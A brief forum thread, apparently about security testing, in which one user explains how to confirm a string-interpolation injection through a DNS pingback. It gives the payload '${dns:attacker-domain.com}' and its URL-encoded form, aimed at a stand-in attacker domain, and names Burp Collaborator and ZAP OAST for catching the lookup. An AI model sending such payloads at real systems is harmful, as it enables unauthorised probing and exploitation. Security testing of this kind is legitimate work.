what about using dns?

[marcelo321]

How do you use it with script:dns?

[karthikuj]

For getting a DNS pingback you can use a payload like this: ${dns:attacker-domain.com}

You might have to url encode the payload, so the final payload will be like: %24%7Bdns%3Aattacker-domain.com%7D

You can try this using Burp collaborator or ZAP OAST. Does this answer your question?